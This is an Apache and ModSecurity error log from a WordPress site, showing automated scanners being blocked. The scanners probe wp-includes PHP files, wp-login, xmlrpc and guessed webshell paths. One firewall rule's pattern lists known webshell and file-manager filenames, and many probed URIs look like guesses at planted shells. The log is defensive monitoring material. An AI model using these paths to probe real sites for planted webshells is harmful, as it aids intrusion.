[Wed Jan 14 05:26:41.087589 2026] [autoindex:error] [pid 58977:tid 58984] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Jan 14 05:26:41.207860 2026] [autoindex:error] [pid 58977:tid 58982] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Jan 14 05:26:48.178059 2026] [autoindex:error] [pid 58977:tid 58989] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Jan 14 05:26:48.292072 2026] [:error] [pid 58977:tid 58987] [client 4.214.17.14:53920] [client 4.214.17.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWa4mLlT6ggZLRx9QvAEAwAAAgc"], referer: https://www.google.com/
[Wed Jan 14 05:26:48.520699 2026] [:error] [pid 58699:tid 58709] [client 4.214.17.14:31457] [client 4.214.17.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aWa4mOYdPBtkMLK2SdqsEgAAAQc"], referer: https://www.google.fr/
[Wed Jan 14 05:26:48.748244 2026] [:error] [pid 58699:tid 58723] [client 4.214.17.14:65263] [client 4.214.17.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aWa4mOYdPBtkMLK2SdqsEwAAARU"], referer: https://www.google.com/
[Wed Jan 14 05:26:48.979866 2026] [:error] [pid 58977:tid 59002] [client 4.214.17.14:53889] [client 4.214.17.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aWa4mLlT6ggZLRx9QvAEBAAAAhY"], referer: https://www.google.co.uk/
[Wed Jan 14 05:27:21.098630 2026] [:error] [pid 58977:tid 58999] [client 4.214.17.14:27561] [client 4.214.17.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aWa4ublT6ggZLRx9QvAEIQAAAhM"], referer: https://www.google.co.uk/
[Wed Jan 14 05:27:33.659791 2026] [:error] [pid 58977:tid 58993] [client 4.214.17.14:22076] [client 4.214.17.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.214.17.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWa4xblT6ggZLRx9QvAEIwAAAg0"], referer: https://www.google.de/
[Wed Jan 14 05:27:34.737129 2026] [:error] [pid 58977:tid 59000] [client 4.214.17.14:22076] [client 4.214.17.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.214.17.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWa4xrlT6ggZLRx9QvAEJAAAAhQ"], referer: https://www.google.de/
[Wed Jan 14 05:27:38.320653 2026] [:error] [pid 24603:tid 24669] [client 4.214.17.14:56071] [client 4.214.17.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.214.17.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWa4ypPBJGFGN8VT8_SlTAAAAIQ"], referer: https://www.yahoo.com/
[Wed Jan 14 05:39:23.135833 2026] [:error] [pid 24601:tid 24633] [client 72.167.104.186:56256] [client 72.167.104.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.167.104.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWa7i0CtWkZ9rlKW5n-EjgAAABc"]
[Wed Jan 14 05:39:26.245817 2026] [:error] [pid 24601:tid 24622] [client 72.167.104.186:44890] [client 72.167.104.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.167.104.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWa7jkCtWkZ9rlKW5n-EkAAAAAw"]
[Wed Jan 14 05:39:28.836420 2026] [:error] [pid 24601:tid 24620] [client 72.167.104.186:44890] [client 72.167.104.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.167.104.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWa7kECtWkZ9rlKW5n-EkQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 05:47:22.851848 2026] [autoindex:error] [pid 24602:tid 24661] [client 4.190.190.129:41852] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Jan 14 05:47:39.356397 2026] [autoindex:error] [pid 24602:tid 24638] [client 4.190.190.129:41852] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Wed Jan 14 05:47:42.220949 2026] [autoindex:error] [pid 24602:tid 24647] [client 4.190.190.129:41852] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Jan 14 05:47:42.348333 2026] [autoindex:error] [pid 24602:tid 24641] [client 4.190.190.129:41852] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Jan 14 05:47:42.471476 2026] [:error] [pid 24602:tid 24662] [client 4.190.190.129:41852] [client 4.190.190.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWa9fkooYwabcb9R9fw7FgAAAFg"], referer: https://duckduckgo.com/
[Wed Jan 14 05:57:23.281033 2026] [:error] [pid 24603:tid 24677] [client 182.44.2.148:39244] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWa_w5PBJGFGN8VT8_SqYgAAAIw"]
[Wed Jan 14 06:09:41.365647 2026] [:error] [pid 24603:tid 24678] [client 79.116.205.200:36766] [client 79.116.205.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.116.205.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWbCpZPBJGFGN8VT8_StXgAAAI0"]
[Wed Jan 14 06:09:45.065879 2026] [:error] [pid 24603:tid 24687] [client 79.116.205.200:36766] [client 79.116.205.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.116.205.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWbCqZPBJGFGN8VT8_StYwAAAJY"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 06:16:21.285299 2026] [:error] [pid 24710:tid 24714] [client 68.178.150.117:59960] [client 68.178.150.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.150.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWbENWXBo5bEhDEEhs1w6wAAAMI"]
[Wed Jan 14 06:25:34.993161 2026] [autoindex:error] [pid 58699:tid 58719] [client 4.213.64.52:34953] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 14 06:25:43.834844 2026] [:error] [pid 58699:tid 58709] [client 4.213.64.52:34953] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "aWbGZ-YdPBtkMLK2Sdq1zgAAAQc"]
[Wed Jan 14 06:25:44.124838 2026] [:error] [pid 58868:tid 58888] [client 4.213.64.52:35049] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "aWbGaE67yj8PZAmdsblx2gAAAVI"]
[Wed Jan 14 06:25:44.428464 2026] [:error] [pid 24603:tid 24686] [client 4.213.64.52:35056] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "aWbGaJPBJGFGN8VT8_SwjAAAAJU"]
[Wed Jan 14 06:25:44.722905 2026] [:error] [pid 24603:tid 24683] [client 4.213.64.52:35027] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/css/index.php"] [unique_id "aWbGaJPBJGFGN8VT8_SwjgAAAJI"]
[Wed Jan 14 06:25:45.051191 2026] [:error] [pid 58901:tid 58947] [client 4.213.64.52:34952] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aWbGab3kQSrcqIWtO0o25AAAAdE"]
[Wed Jan 14 06:25:45.392673 2026] [:error] [pid 58901:tid 58933] [client 4.213.64.52:34947] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aWbGab3kQSrcqIWtO0o25gAAAcM"]
[Wed Jan 14 06:25:45.727800 2026] [:error] [pid 58901:tid 58937] [client 4.213.64.52:34954] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aWbGab3kQSrcqIWtO0o26AAAAcc"]
[Wed Jan 14 06:25:46.079461 2026] [:error] [pid 58901:tid 58931] [client 4.213.64.52:35028] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aWbGar3kQSrcqIWtO0o26gAAAcE"]
[Wed Jan 14 06:25:46.380658 2026] [:error] [pid 24601:tid 24618] [client 4.213.64.52:34974] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aWbGakCtWkZ9rlKW5n-JnwAAAAg"]
[Wed Jan 14 06:25:46.694186 2026] [:error] [pid 24602:tid 24653] [client 4.213.64.52:35024] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aWbGakooYwabcb9R9fw_6QAAAE8"]
[Wed Jan 14 06:25:46.972712 2026] [:error] [pid 24601:tid 24627] [client 4.213.64.52:35038] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aWbGakCtWkZ9rlKW5n-JoQAAABE"]
[Wed Jan 14 06:25:47.277090 2026] [:error] [pid 24601:tid 24614] [client 4.213.64.52:34951] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aWbGa0CtWkZ9rlKW5n-JowAAAAQ"]
[Wed Jan 14 06:25:47.558983 2026] [:error] [pid 58901:tid 58930] [client 4.213.64.52:35068] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aWbGa73kQSrcqIWtO0o28wAAAcA"]
[Wed Jan 14 06:25:47.842377 2026] [:error] [pid 58901:tid 58952] [client 4.213.64.52:34975] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aWbGa73kQSrcqIWtO0o29QAAAdY"]
[Wed Jan 14 06:25:48.128176 2026] [:error] [pid 58868:tid 58888] [client 4.213.64.52:35062] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aWbGbE67yj8PZAmdsblx8QAAAVI"]
[Wed Jan 14 06:25:48.413949 2026] [:error] [pid 58899:tid 58917] [client 4.213.64.52:34987] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aWbGbAWViGQd5R44tHF86AAAAY4"]
[Wed Jan 14 06:25:48.718256 2026] [:error] [pid 58868:tid 58879] [client 4.213.64.52:35030] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aWbGbE67yj8PZAmdsblx8wAAAUk"]
[Wed Jan 14 06:25:48.998670 2026] [:error] [pid 24603:tid 24674] [client 4.213.64.52:35010] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aWbGbJPBJGFGN8VT8_SwkAAAAIk"]
[Wed Jan 14 06:25:49.291883 2026] [:error] [pid 58868:tid 58876] [client 4.213.64.52:35041] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aWbGbU67yj8PZAmdsblx9QAAAUY"]
[Wed Jan 14 06:25:49.596146 2026] [:error] [pid 24710:tid 24731] [client 4.213.64.52:34986] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aWbGbWXBo5bEhDEEhs1y1QAAANM"]
[Wed Jan 14 06:25:49.885574 2026] [:error] [pid 24602:tid 24652] [client 4.213.64.52:35032] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/"] [unique_id "aWbGbUooYwabcb9R9fw_7AAAAE4"]
[Wed Jan 14 06:25:50.173686 2026] [:error] [pid 24602:tid 24660] [client 4.213.64.52:34958] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/"] [unique_id "aWbGbkooYwabcb9R9fw_7QAAAFY"]
[Wed Jan 14 06:25:50.456329 2026] [:error] [pid 58868:tid 58875] [client 4.213.64.52:35055] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/"] [unique_id "aWbGbk67yj8PZAmdsblx_wAAAUU"]
[Wed Jan 14 06:25:50.747516 2026] [:error] [pid 24602:tid 24643] [client 4.213.64.52:35067] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/"] [unique_id "aWbGbkooYwabcb9R9fw_8QAAAEU"]
[Wed Jan 14 06:25:51.049519 2026] [:error] [pid 58977:tid 58997] [client 4.213.64.52:35008] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aWbGb7lT6ggZLRx9QvAKlgAAAhE"]
[Wed Jan 14 06:25:51.334619 2026] [:error] [pid 58977:tid 58994] [client 4.213.64.52:35014] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aWbGb7lT6ggZLRx9QvAKmAAAAg4"]
[Wed Jan 14 06:25:51.633410 2026] [:error] [pid 58899:tid 58905] [client 4.213.64.52:34968] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aWbGbwWViGQd5R44tHF86gAAAYI"]
[Wed Jan 14 06:25:51.921749 2026] [:error] [pid 58977:tid 58985] [client 4.213.64.52:34949] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aWbGb7lT6ggZLRx9QvAKmwAAAgU"]
[Wed Jan 14 06:25:52.207769 2026] [:error] [pid 58901:tid 58954] [client 4.213.64.52:34972] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aWbGcL3kQSrcqIWtO0o2-gAAAdg"]
[Wed Jan 14 06:25:52.518045 2026] [:error] [pid 58901:tid 58938] [client 4.213.64.52:35039] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aWbGcL3kQSrcqIWtO0o2-wAAAcg"]
[Wed Jan 14 06:25:52.808542 2026] [:error] [pid 58901:tid 58932] [client 4.213.64.52:35063] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aWbGcL3kQSrcqIWtO0o2_AAAAcI"]
